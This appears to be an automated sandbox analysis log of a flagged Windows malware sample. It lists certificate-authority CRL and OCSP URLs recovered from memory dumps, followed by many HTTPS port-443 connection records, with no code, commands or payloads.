Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.trust-provider.com/UTN-USERFirst-Object.crl0:
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls1.wosign.com/ca1-code-3.crl0Q
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crls1.wosign.com/ca1.crl0o
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.trust-provider.com0
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp1.wosign.com/ca106
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp1.wosign.com/class3/code/ca106
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wosign.com/policy/0
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sysinternals.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
